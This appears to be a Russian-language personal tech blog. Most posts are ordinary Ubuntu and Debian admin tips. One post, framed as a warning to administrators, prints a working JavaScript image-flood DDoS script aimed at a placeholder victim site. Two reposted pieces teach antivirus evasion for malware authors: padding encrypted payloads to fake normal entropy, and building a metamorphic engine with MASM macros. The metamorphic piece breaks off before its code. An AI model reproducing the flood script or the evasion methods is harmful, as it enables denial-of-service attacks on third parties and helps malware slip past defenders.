Как сделать, чтобы новые окна открывались по центру в Ubuntu 24.04 LTS

Очень просто сделать так чтобы новые окна открывались по центру монитора, а не там где хочется.

 

Окрываем терминал: Ctrl+Alt+t 

Копируем это текст:

gsettings set org.gnome.mutter center-new-windows true

Вставляем в окно терминала и жмём Enter.

 

Чтобы вернуть назад как было:

Копируем это текст:

gsettings set org.gnome.mutter center-new-windows false

Вставляем в окно терминала и жмём Enter. 

 

 =====
~$ Удачи /не-болейте/-и/не-кашляйте

Не удалось обновить "Snap Store": (null): cannot refresh "snap-store": snap "snap-store" has running apps (ubuntu-software), pids: XXXX

 Не удалось обновить "Snap Store": 

(null): cannot refresh "snap-store": snap "snap-store" has running apps (ubuntu-software), pids: XXXX

Открываем терминал и отправляем две команды:

~$ sudo killall snap-store

~$ sudo snap refresh

=====
~$ Удачи /не-болейте/-и/не-кашляйте

JavaScript & DDos

JavaScript или как за'DDos'ить самого себя.

DDos самого себя, это страшный сон любого администратора. По этому что бы сны были гладкими и мягкими следует проверять скрипты которые внедряются в проект на сайте (сервере).

Наибольшее распространение получил известность встраиваясь в JavaScript-код плеера.

С небольшими изменениями скрипт может также атаковать ресурсы сети без вашего ведома просто подгружаясь в код плеера или просто ваш ресурс взломали и используют по своему назначению.

Сам код прост и не замысловат:

function imgflood() {
  var TARGET = 'victim-website.com'
  var URI = '/index.php?'
  var pic = new Image()
  var rand = Math.floor(Math.random() * 1000)
  pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

Также код может быть легко попрятан под Base64 или обфусцирован.

Оригинал этого кода взят здесь - https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/


Вот так этот код выглядел при внедрении его в объект:







а это результат его работы:

 

оригинал фото взят здесь






=====
~$ Удачи /не-болейте/-и/не-кашляйте

Не удалось получить доступ к файлу блокировки /var/lib/dpkg/

Не удалось получить доступ к файлу блокировки /var/lib/dpkg/

Если во время установки или обновления программ через apt-get или aptitude процесс был прерван, то при следующей попытке запуска apt-get или aptitude получим ошибку:

E: Не удалось получить доступ к файлу блокировки /var/lib/dpkg/lock - open (11: Ресурс временно недоступен)

E: Не удалось выполнить блокировку управляющего каталога (/var/lib/dpkg/); он уже используется другим процессом?

Можно разблокировать каталог всего одной командой. А избавиться от этой проблемы просто, достаточно выполнить команду:


~$ sudo fuser -vki /var/lib/dpkg/lock


Должно получиться примерно так:

                               ПОЛЬЗ-ЛЬ PID ДОСТУП КОМАНДА

/var/lib/dpkg/lock: root             4581 F....            dpkg
Завершить процесс 4581? (y/N) Y

Нажимаем «Y» и наслаждаемся нормальной работой apt-get или aptitude. 

=====
~$ Удачи /не-болейте/-и/не-кашляйте

Добавляем русскую локаль в Debian

Проблемы с локалью на сервере? 

или как добавить русскую локаль в Debian

Без шума и пыли и лишних телодвижений пишем из под рут (sudo):

~$ localedef ru_RU.UTF-8 -i ru_RU -f UTF-8

Проверяем:

~$ locale -a 

В результате должно получится так:

C
en_US.utf8
POSIX
ru_RU.utf8 


Аналогичным образом добавляем другие.

Кстати если у Вас проблемы с локалью и есть ошибки:

locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_COLLATE to default locale: No such file or directory

То выше приведенный метод поможет избавится от таких ошибок.




=====
~$ Удачи.

Как добавить пользователя в группу sudo

Как добавить пользователя в группу sudo 

(admin, adm и т.д.) в debian / ubuntu

Сделать это просто, то есть очень просто.

Заходим в систему под root и вводим:

~$ usermod -a -G sudo username 

#где sudo - название группы, username - имя нашего пользователя.





=====
~$ Удачи.

MySQL. Проблемы миграции.

MySQL проблемы миграции

Надо было перенести сайт с сервера разработки на хостинг.
Всё вроде бы отлажено и работает, а на хостинге вдруг отказывается и сыпет сообщениями подобного содержания: 

Warning: mysql_connect() [function.mysql-connect]: Premature end of data (mysqlnd_wireprotocol.c:554) in ... 

Warning: mysql_connect() [function.mysql-connect]: OK packet 1 bytes shorter than expected in ..

Из источника: Энтропия и ее нормализация

Что такое энтропия применительно к программному коду можно найти в гугле и на васме. Вкратце - числовая оценка эффективности использования информационного объема. Измерять ее будем в битах на 1 байт [0..8] с точностью до сотых. В этом нелегком деле нам поможет PEiD который можно скачать известно где. Итак, запускаем PEiD, кидаем на него, к примеру, невинного AcroRd32.exe, жмем " > > > >" и в появившемся диалоге вычисляем значение Entropy тыканием по соответствующей кнопке. Вот у меня, к примеру получилось 5.06 и рядом в скобках вердикт (Not packed). А теперь проделываем ту же операцию с чем-нибудь упакованным тем же UPX'ом - и получаем 7.82 (Packed)
    Собственно к чему весь этот бред: раз утилита может на основе математической оценки предположить, упакован файл или нет, то почему бы этим не воспользоваться и антивирусу? В данном деле особо отличился лидер по проверке PE-файлов на валидность "антивирус" Avira Antivir. Их последний генерик - ZPack.Gen (по аналогии с XPack.Gen) по наблюдениям выдается исключительно на основе анализа энтропии секции. Т.е. если пакер не определен но энтропия необычно высока - получите клеймо.
    Логичное решение в виде выжигания напалмом конторы дятлов представляется не слишком эффективным - они не первые и наверняка не последния. Ну а поскольку надо быть на шаг впереди, подумаем о симметричном ответе. Раз не нравится наша энтропия - надо ее улучшить. Т.е. нам надо "разбавить" наш экзе таким образом, чтобы эффективность хранения данных уменьшилась, или, другими словами, добавить большое количество однотипных данных.
    Просто добавив кусок nop'ов в секцию, мы долго не протянем и вызовем апдейт генерика до уровня удаления однотипного повторяющегося мусора. В таком случае нам надо сделать такой мусор, который никаким описанием с наскока не удалить. В идеале картина, представленная взгляду в Hiew должна выглядеть как равномерно-распределенный код. (Кстати рекомендую провести некоторое время просто разглядывая картинки экзешников в hex-редакторе) И нам определенно не надо выглядеть как архив или как код со вставками в виде архивов или зашифрованных кусков. Т.е. энтропия должна быть по возможности одинакова в различных отдельно взятых кусках кода/файла.
    Достичь этого достаточно просто - надо все включаемые куски зашифрованных данных "разбавить" мусором (в виде последовательности 00h например) по псевдослучайному алгоритму до тех пор, пока он не будет выглядеть (иметь значение энтропии) как обычный код. Экспериментально установлено что оптимальное значение тут лежит в пределах 6.1-6.8. Сам экзе при запуске будет инициализировать псевдослучайный генератор так, чтобы последовательность чисел, определяющая места вставки мусора, повторилась один-в-один. В итоге весь наш мусор будет удален и можно будет расшифровать блок с секретными данными. 

Из источника: http://interpol.blog.ru/49299619.html

=====

~$ Удачи

Из источника: Метаморф в сырцах - с глаз долой

 Исходный код на асме можно грубо разбить на две составные части - собственно код (.code) и инициализированные данные (.data).

Для обеспечения максимальной изменчивости каждого билда необходимо применить особый подход в обоих случаях. Поскольку сейчас мы не ставим целью использование антиотладки и антиэвристики, то целью будет сокрытие типичных сигнатур по которым сканер или беглый тренированный взгляд может оценить характер представленного в exe кода. (Покачто не рассматриваем эвристику и сигнатурный скан по импортам).

 Добиться этого можно "криптованием" строковых ресурсов следующими способами:

Из источника: Метаморф в сырцах

Давно обдумывал идею морфа с максимальной отдачей. Изучение доступных источников указывало на необходимость большого количества кода с чем-то наподобие специфичного дизассемблера и таблицы пере(под)становок. Однако метод изменения уже готового кода имеет свои технические ограничения - всего не предусмотришь и не поменяешь, а чем больше кодеса таскать с собой, тем выше шансы залететь по банальной сигнатуре. Значит надо нечто такое, чтобы сигнатуры не было в принципе.
    Один из вариантов - полиморфный криптор. В первом приближении состоит из расшифровывающего полиморфного кода и криптоконтейнера. Внутри контейнера согласно банальной логике будет некий постоянный код. Требует постоянного наращивания примочек для предотвращения полной эмуляции.
    Идеалом морфа был бы такой код, чтобы две его морф-копии отличались максимально, вплоть до отсутствия похожих инструкций. Достичь такого сложно, однако можно попытаться приблизиться. Взяв за основу макроязык пакета MASM, основательно покопавшись в его небогатой документации, приходим к выводу, что можно на стадии сборки исходного кода подменять инструкции на аналоги, встраивать мусорный код, генерить рандомную таблицу импорта, шифровать строковые ресурсы и многое другое, от чего у среднестатистического вирусного аналитика волосы зашевелятся не только на голове.

    Основой и первым модулем в наборе будет генератор рандомных чисел. Все было бы прекрасно, однако макро препроцессор не знает такого. Попытка прочитать рандомное значение через переменную окружения RANDOM не увенчалась успехом. Пришлось изобретать велосипед - обертку вокруг компилятора ML.exe которая при каждом вызове генерила рандомное значение в переменной окружения RNDSEED (локально для текущего процесса и его потомков). Это значение уже считывалось макросом. Итак, кодес: